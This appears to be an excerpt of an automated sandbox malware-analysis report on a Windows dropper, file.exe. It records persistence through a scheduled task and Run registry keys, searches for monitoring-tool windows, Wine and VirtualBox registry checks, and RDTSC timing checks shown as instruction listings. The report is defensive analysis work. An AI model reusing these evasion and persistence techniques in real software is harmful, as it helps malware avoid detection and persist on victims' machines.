Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsJDGCFBAFBF.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsJDGCFBAFBF.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsJDGCFBAFBF.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsJDGCFBAFBF.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsJDGCFBAFBF.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 074873f122.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 074873f122.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7afc94686a.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7afc94686a.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ad0f88d42c.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ad0f88d42c.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 2a8ef8d829.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 2a8ef8d829.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run f72eb1bfa4.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run f72eb1bfa4.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007499001\ad0f88d42c.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	System information queried: FirmwareTableInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007496001\02e4e14003.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007498001\7afc94686a.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007497001\074873f122.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\DocumentsJDGCFBAFBF.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsJDGCFBAFBF.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007500001\2a8ef8d829.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7F341 second address: B7F347 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7F347 second address: B7F34B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFE66A second address: CFE670 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFD60E second address: CFD618 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FDF21133AC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFD8E3 second address: CFD902 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FDF21054976h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFD902 second address: CFD90A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFDA9F second address: CFDAAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 jns 00007FDF21054968h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFDAAE second address: CFDAB3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFDAB3 second address: CFDAB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFDD7B second address: CFDD8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jns 00007FDF21133AC6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c ja 00007FDF21133AC8h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFDD8F second address: CFDD9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jp 00007FDF21054966h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D019D5 second address: D019DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D01A39 second address: D01AAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop ebx 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ebx 0x0000000a call 00007FDF21054968h 0x0000000f pop ebx 0x00000010 mov dword ptr [esp+04h], ebx 0x00000014 add dword ptr [esp+04h], 00000015h 0x0000001c inc ebx 0x0000001d push ebx 0x0000001e ret 0x0000001f pop ebx 0x00000020 ret 0x00000021 mov dx, 700Bh 0x00000025 push 00000000h 0x00000027 mov dword ptr [ebp+122D2E2Ah], ecx 0x0000002d or dword ptr [ebp+122D29ACh], edi 0x00000033 push 2CDCE696h 0x00000038 jg 00007FDF21054975h 0x0000003e xor dword ptr [esp], 2CDCE616h 0x00000045 stc 0x00000046 push 00000003h 0x00000048 mov edx, eax 0x0000004a push 00000000h 0x0000004c xor ecx, dword ptr [ebp+122D2BE0h] 0x00000052 push 00000003h 0x00000054 cld 0x00000055 push 8CFF3090h 0x0000005a pushad 0x0000005b push eax 0x0000005c push edx 0x0000005d jno 00007FDF21054966h 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D01C75 second address: D01C7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D01C7A second address: D01CAC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FDF21054972h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jl 00007FDF21054966h 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 pop eax 0x00000018 mov eax, dword ptr [esp+04h] 0x0000001c push esi 0x0000001d jbe 00007FDF2105496Ch 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D01CAC second address: D01CCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 mov eax, dword ptr [eax] 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FDF21133AD9h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D01CCE second address: D01CD3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D01CD3 second address: D01CEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FDF21133ACEh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D01CEE second address: D01CF3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
